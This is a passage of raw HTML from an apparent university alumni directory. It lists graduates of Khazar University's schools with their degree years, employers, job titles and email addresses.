Mammadov</strong></p><p>School of Humanities and Social Sciences</p><p>English tranlator (2005-2009)</p><p>MEGABIZ PETROCHEMICAL PRODUCTS OF INDUSTRY AND TRADE INCORPORATED GROUP OF COMPANIES</p><p>Marketing and Sales Director</p><p>E- mail:&nbsp;<a href=\"http://mailto:akif.memmedov.87@mail.ru/\">akif.memmedov.87@mail.ru</a></p>  </td></tr><tr class=\"tablestil\">\r\n  <td>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>&nbsp;<img src=\"/files/alumni/images/Xumar%20H%C3%BCseynova.jpg\" style=\"border:0px  #000000;width:150px;height:200px;float:left\"></strong></p>\r\n  </td>\r\n  <td>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>Xumar\r\n  Hüseynova</strong></p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><span style=\"background-color:#ffffff;color:#252525;font-family:\'Source Sans Pro\', sans-serif\">Mühəndislik və Tətbiqi Elmlər fakültəsi</span></p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Kompüter Mühəndisliyi və Menecment ixtisası üzrə</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Xəzər Universitetində, İqtisadiyyat və Menecment\r\n  fakültəsində müəllim (Əməliyyatların idarə edilməsi)</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Azərbaycan Respublikası Mərkəzi Bankı, İnsan Resursları\r\n  departamenti, Təhsil və inkişaf&nbsp; şöbəsinin\r\n  rəisi</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">E-mail: <a href=\"mailto:Khumar.huseynova@khazar.org\">Khumar.huseynova@khazar.org</a>; <a href=\"mailto:Xumar_Huseynova@cbar.az\">Xumar_Huseynova@cbar.az</a>; <a href=\"mailto:kh301@student.le.ac.uk\">kh301@student.le.ac.uk</a></p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Magistr 2002</p>\r\n  </td>\r\n </tr><tr><td>&nbsp;<img src=\"/files/alumni/images/scan%20gunel%201.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Gunel Rasulova</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Computer Science</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Khazar University,&nbsp;Data Analyst -&nbsp;2014</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Khazar University, Internet Education Center\r\n(2015-2016)</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"http://mailto:gunelrasulova@gmail.com/\">gunelrasulova@gmail.com&nbsp;</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;2009-2013</p>  </td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/aytekin_nebisoy.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Aytekin Nabisoy&nbsp;</span></strong><span style=\"font-family:Arial, sans-serif;color:#252525\"></span></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Computer Science&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Unibank İT&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"http://mailtoInabisoyaytekin@gmail.com/\">nabisoyaytekin@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;-&nbsp;2009-2014</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Master -&nbsp;Khazar University</p>  </td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Aysel_Bashirova.jpg\" style=\"width:150px;height:200px;float:left\"></td><td> <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Aysel Bashirova</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Computer Engineering</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bank BTB</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"http://touch.mail.ru/compose/?mailto=mailto%3akhazar_189@mail.ru\" target=\"_blank\">khazar_189@mail.ru</a>&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2012 Honor Diploma</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Eldar_Mansimov.jpg\" style=\"float:left;width:150px;height:200px\"></td><td><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Eldar Mansimov</span></strong><span style=\"font-family:Arial, sans-serif;color:#252525\">&nbsp;</span></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Petroleum and Natural Gas Engineering</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">SOCAR- Drilling Engineer</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:eldarmansimov@gmail.com\">eldarmansimov@gmail.com</a>&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor Degree 2008-2013&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Master degree 2017-2019 Sakarya\r\nUniversity,Turkey-Geophysical Engineering</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Javid_Hajizadeh.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Javid Hajizadeh&nbsp;</span></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Engineering and Applied Sciences &nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Petroleum and Natural Gas Engineering&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Azertexnolayn (Steel Pipe Plant)&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">QA/QC Engineer&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: &nbsp;<a href=\"mailto:engineer_hajizadeh@mail.ru\">engineer_hajizadeh@mail.ru</a>&nbsp;,&nbsp;&nbsp;<a href=\"mailto:cavid.hacizade@azertexnolayn.com\">Cavid.Hacizade@azertexnolayn.com</a>&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2012 Graduate&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Master Degree : ADNSU&nbsp;</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Kanan_Khasmammadov.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Kanan Khasmammadov&nbsp;</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Engineering and Applied Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Petroleum and Natural Gas engineering&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Halliburton&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Measurement while drilling (M/LWD) engineer&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:kanan.khasmammadov@gmail.com\">kanan.khasmammadov@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;&nbsp;2009-2013&nbsp;</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Murad%2BSeyidov.jpg\" style=\"width:150px;height:200px;margin:7px;float:left\"></td><td><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Murad Seyidov&nbsp;</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Computer Engineering and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Senior Technology Consultant @ Seabak LLC (IT\r\nManagement Service Provider)</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">ICT Committee Chairman @ American Chamber of Commerce\r\nin Azerbaijan</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:muradts@yahoo.com\">muradts@yahoo.com</a>&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Masters&nbsp;2001-2004</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Samir_Amanov.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Samir Amanov &nbsp;</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Khazar University/İT departamenti</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:sam.amanov@gmail.com\">sam.amanov@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/javid_gurbanov.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Javid Gurbanov&nbsp;</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Petroleum Engineering and Management&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">SOCAR , FSSA&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Deck Boss -&nbsp;Geokinetics Inc&nbsp; &nbsp; &nbsp;\r\n&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MSc. Petroleum Engineering (2013-2014 , Heriot- Watt\r\nUniversity , UK&nbsp;Scotland , Edinburgh)</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor&nbsp;2008- 2012</p></td></tr>\r\n <tr>\r\n  <td width=\"180\" style=\"\" width:135.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:57.0pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>&nbsp;<img src=\"/files/alumni/images/ahmadov_ramal.jpg\" style=\"width:150px;height:200px;float:left\"></strong></p>\r\n  </td>\r\n  <td width=\"468\" style=\"\" width:351.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:57.0pt\";vertical-align:top\"=\"\">\r\n  <p><strong><span lang=\"AZ-LATIN\" style=\"font-family:Arial, sans-serif\">Ramal Ahmadov</span></strong></p>\r\n<p>School of Engineering and Applied Sciences</p>\r\n<p>Demirbank\r\nJSC, Head Office Group Leader</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:ahmadov.r@gmail.com\">ahmadov.r@gmail.com</a></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">2008</p>\r\n  </td>\r\n </tr><tr><td>&nbsp;<img src=\"/files/alumni/images/muzeffer_necefquliyev.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Muzaffar Najaf-Guliyev</span></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; color: rgb(37, 37, 37);\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Silk Way Aviation Company /İT department</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:najafquliyev@gmail.com\">najafquliyev@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2015</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Master: National Aviation Academy Computer Engineering</p>  </td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Jeffy_George.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Jeffy&nbsp;George&nbsp;</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Petroleum&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">ABS Group&nbsp;/ Qatar&nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:jeffy143@gmail.com\">jeffy143@gmail.com</a>&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2011 &nbsp;</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Sattar_Amrahov.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Sattar Amrahov&nbsp;</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Computer Science</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Lab Service engineer</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:Settar216@gmail.com\">Settar216@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:Settar216@gmail.com\"></a>Master 2016</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Zahra_Khudaverdiyeva.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><span style=\"font-family:Arial, sans-serif;color:#252525\">Zahra Khudaverdiyeva</span></strong><span style=\"font-family:Arial, sans-serif;color:#252525\"></span></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">School of Engineering and Applied Sciences</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Computer Engineering</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Azecolab Quality Control Specialist</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:zehra.khudaverdiyeva@gmail.com\">zehra.khudaverdiyeva@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Master Honor 2016</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Narmin_Gumbatova.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Narmin Humbatova</strong></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">School of Economics and Management&nbsp;</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Finance/BBA &amp; General MBA&nbsp;</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Leading Accountant Specialist / &nbsp;Azersun Holding&nbsp;</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail: &nbsp;<a href=\"mailto:narmingumbatova@gmail.com\">narmingumbatova@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"mailto:narmingumbatova@gmail.com\"></a></p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Natiq_Heyd%C9%99rov.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Natiq Heydərov&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hüquq fakültəsi, Beynəlxalq hüquq ixtisası&nbsp;</p><p>Azərbaycan Respublikasının İqtisadiyyat Nazirliyinin Sahibkarlığını inkişafı siyasəti şöbəsinin böyük məsləhətçisi</p><p>E-mail:&nbsp;<a href=\"mailto:natig5555@yahoo.com\">natig5555@yahoo.com</a>;&nbsp; <a href=\"mailto:Natiq.heydarov@economy.gov.az\">Natiq.heydarov@economy.gov.az</a></p><p>2009</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Faig%20Fatullayev.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Faig Fatullayev</strong></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">School of Economics and Management/Master of Business Administration (MBA)</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Accounting and Audit</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Auditor/KPMG&nbsp;</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail: &nbsp;<a href=\"mailto:faig.fatullayev@gmail.com\">faig.fatullayev@gmail.com</a></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"mailto:faig.fatullayev@gmail.com\"></a>MBA 2016 (Honor)</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Ramila_Karimova.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p><strong>Ramila Karimova</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və Sosial Elmlər&nbsp;fakültəsi,&nbsp;Beynelxalq Münasibetler</p><p>Azerbaycan Respublikasinin Merkezi Banki, Beynelxalq emekdasliq ve kommunikasiya departamenti, Mütexessis</p><p>E-mail:&nbsp;<a href=\"http://yahoo.com/\">&nbsp;ramilekerim5@yahoo.com</a><a href=\"http://yahoo.com/\"></a></p><p>Bakalavr&nbsp;2010&nbsp;</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Vugar%20Omarov.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Vugar Omarov</strong></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">School of&nbsp;Economics and Management</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">International Economic Relations&nbsp;</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Managing Partner/Global Trading Company LLC</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:vugar.omarov@gmail.com\">vugar.omarov@gmail.com</a>&nbsp;,<a href=\"mailto:vugar.omarov@akkord.az\">vugar.omarov@akkord.az</a></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"mailto:vugar.omarov@akkord.az\"></a>Bachelor 2006</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Peyman_Almasov.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Peyman Almasov&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və Sosial Elmlər fakultəsi.Regionşünaslıq</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Qafqaz Universiteti, Lecturer&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><a href=\"mailto:peymanalmas@gmail.com\"></a>E-mail:&nbsp;<a href=\"mailto:peymanalmas@gmail.com\">peymanalmas@gmail.com</a>&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">2011&nbsp;</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Yashar.JPG\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Yaşar&nbsp;Həsənov&nbsp;</strong>  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">School of&nbsp;Economics and Management   <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Finance&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Global Financial Template (GFT) Data Lead BP&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">E-mail:&nbsp;<a href=\"mailto:hassym@bp.com\">hassym@bp.com</a>&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bachelor -&nbsp;2004&nbsp;</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Ulfane_Tagiyeva.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ulfana Tahhiyeva</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">School of Education &nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Azerbaijani Language and Literature&nbsp;\r\n</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">\"Azerbaijan\r\nRailways CJSC\" Emergency Situations Train Ltd.</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">accountant</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:Ulfane.tagiyeva@mail.ru\">Ulfane.tagiyeva@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010</p>  <br></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Metin_Esger.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p><strong>Mətin Əsgər&nbsp;</strong><br></p><p>Hüquq&nbsp;və Sosial Elmlər,&nbsp;Beynəlxalq hüquq ixtisası&nbsp;</p><p>Bakı Hüquq Mərkəzi - baş hüquqşünas  <br></p><p><a href=\"mailto:asgermetin@yahoo.com\"></a>E-mail:  <a href=\"mailto:asgermetin@yahoo.com\">asgermetin@yahoo.com</a>&nbsp;  <br></p><p>2005  <br></p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Sona%20Dadashova.png\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Sona Dadaşova</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və Sosial Elmlər fakultəsi ,&nbsp;Filologiya fakultesi: Ingilis dili ve edebiyyat, Fars dili</p><p 